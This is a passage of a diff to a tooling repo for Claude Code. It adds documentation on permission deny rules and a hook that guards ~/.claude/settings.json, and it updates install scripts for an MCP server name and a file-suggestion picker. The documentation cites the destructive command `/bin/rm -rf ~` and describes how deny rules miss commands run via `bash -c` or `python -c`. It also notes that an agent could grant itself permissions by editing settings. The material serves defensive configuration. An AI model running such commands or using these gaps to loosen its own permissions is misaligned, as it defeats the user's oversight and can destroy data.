+ does not stop `/bin/rm -rf ~`, and no deny rule can see inside `bash -c`,
67
+ `python -c`, or `node -e`. Blocking a *capability* needs a `PreToolUse` hook
68
+ (which parses the command) or the OS sandbox.
69
+ - **Deny rules cannot carry allowlist exceptions.** A broad deny blocks every
70
+ matching call even when a narrower `allow` rule also matches. So
71
+ `Bash(git stash:*)` also blocks read-only `git stash list`, and
72
+ `Bash(crontab *)` also blocks `crontab -l`. Where an exception is genuinely
73
+ needed, use `permissions.ask` or a hook, not deny.
74
+
75
+ File-tool rules are `Edit(...)` and `Read(...)` only. **`Write(...)` path rules
76
+ are accepted but never consulted** by current Claude Code builds — never author
77
+ one. A `Read` deny also blocks `Edit` on the same path.
78
+
79
+ ### Why `~/.claude/settings.json` is guarded by a hook, not a deny rule
80
+
81
+ Protecting Claude Code's own settings is the highest-value control here: it stops
82
+ an agent granting itself permissions or installing a hook that fires on every
83
+ tool call, and Claude Code hot-reloads both files so such a write takes effect
84
+ immediately. It matters *most* under `bypassPermissions`, where Claude Code's
85
+ built-in protection for `.claude` paths is **not** applied.
86
+
87
+ That protection deliberately lives in a `PreToolUse` hook
88
+ (`claude-settings-guard.js`), **not** in this deny list, because it needs an
89
+ exception a deny rule cannot express: **this repo manages `~/.claude/settings.json`
90
+ itself** — that is exactly what `install-global.sh` and `merge-settings-deny.js`
91
+ do. A blanket `Edit(~/.claude/settings.json)` deny left bootstrap-claude unable to
92
+ work on itself, and no allow rule or hook could carve a way back in: deny beats
93
+ allow at every scope, and a hook returning `allow` cannot loosen a deny rule
94
+ either. So the deny entries were removed and the hook took over.
95
+
96
+ The guard blocks edits to `~/.claude/settings.json` and `settings.local.json`
97
+ outside a bootstrap-claude checkout, and permits them inside one — identifying the
98
+ checkout by marker file (`lib/scripts/templates/settings-deny.json` plus a
99
+ `package.json` named `@codewizard-dt/bootstrap`), not by path name.
100
+
101
+ **`~/.claude/hooks/**` stays in the deny list with no exception**, including
102
+ inside this repo. The canonical flow there is to edit `lib/hooks/` and re-run
103
+ `install-global.sh`; editing the installed copy directly is always wrong.
104
+
105
+ **Residual risk, accepted:** an agent working inside bootstrap-claude can still
106
+ self-grant permissions by editing global settings. That is the deliberate cost of
107
+ making this repo able to do its job — containment for that case is the OS sandbox
108
+ (`/sandbox`), not this layer.
@@ -34,6 +34,14 @@ has_mcp() {
34
34
 
35
35
  mkdir -p "$PROJECT_DIR/wiki/guides"
36
36
 
37
+ # Resolve the playwright server name actually registered for this machine:
38
+ # the canonical `playwright`, or the conflict-resolution alternate
39
+ # `playwright-shared` (used when a project ships its own playwright entry).
40
+ PW_SERVER_NAME="playwright"
41
+ if claude mcp get playwright-shared 2>/dev/null | grep -q "/mcp"; then
42
+ PW_SERVER_NAME="playwright-shared"
43
+ fi
44
+
37
45
  {
38
46
  # 1. Always: title + TOP RULE
39
47
  cat "$STUBS_DIR/00-header.md"
@@ -70,7 +78,7 @@ EOF
70
78
  if has_mcp "serena"; then cat "$STUBS_DIR/serena.md"; echo ""; fi
71
79
  if has_mcp "context7"; then cat "$STUBS_DIR/context7.md"; echo ""; fi
72
80
  if has_mcp "brave-search"; then cat "$STUBS_DIR/brave-search.md"; echo ""; fi
73
- if has_mcp "playwright"; then cat "$STUBS_DIR/playwright.md"; echo ""; fi
81
+ if has_mcp "playwright"; then sed "s|__PW_SERVER_NAME__|$PW_SERVER_NAME|g" "$STUBS_DIR/playwright.md"; echo ""; fi
74
82
 
75
83
  # 4. Quick Reference table (always present; rows per installed MCP)
76
84
  cat <<'EOF'
@@ -75,10 +75,33 @@ if [ ${#ORPHAN_FOUND[@]} -gt 0 ]; then
75
75
  fi
76
76
  fi
77
77
 
78
- # 4. Merge the canonical Bash deny list into ~/.claude/settings.json
78
+ # 4. Merge the canonical permission deny list into ~/.claude/settings.json
79
79
  echo ""
80
80
  echo "Merging permissions deny list (~/.claude/settings.json)..."
81
81
  node "$SCRIPT_DIR/merge-settings-deny.js"
82
82
  echo ""
83
83
 
84
- echo "Global setup complete (MCPs + hooks + skills + deny list)."
84
+ # 5. Install the @-autocomplete file suggestion picker and register it
85
+ echo "Installing file suggestion picker (~/.claude/file-suggestion.sh)..."
86
+ mkdir -p "$HOME/.claude"
87
+ cp "$SCRIPT_DIR/templates/file-suggestion.sh" "$HOME/.claude/file-suggestion.sh"
88
+ chmod +x "$HOME/.claude/file-suggestion.sh"
89
+
90
+ # The merge exits 0 on every outcome, so its message is the only way to tell a
91
+ # fresh registration from a no-op or a skip. Capture stdout+stderr together and
92
+ # echo it back; an outcome we don't recognise gets no follow-up line.
93
+ FILE_SUGGESTION_OUT="$(node "$SCRIPT_DIR/merge-settings-deny.js" --set-key fileSuggestion --set-value '{"type":"command","command":"~/.claude/file-suggestion.sh"}' 2>&1)"
94
+ if [ -n "$FILE_SUGGESTION_OUT" ]; then
95
+ echo "$FILE_SUGGESTION_OUT"
96
+ fi
97
+ case "$FILE_SUGGESTION_OUT" in
98
+ *'"fileSuggestion" set'*)
99
+ echo "Restart Claude Code sessions to pick up the new file suggestion command."
100
+ ;;
101
+ *'already defines "fileSuggestion"'*)
102
+ echo "Keeping your existing \"fileSuggestion\" — @-autocomplete for the bootstrap wiki dirs stays off."
103
+ ;;
104
+ esac
105
+ echo ""
106
+
107
+ echo "Global setup complete (MCPs + hooks + skills + deny list + file suggestion)."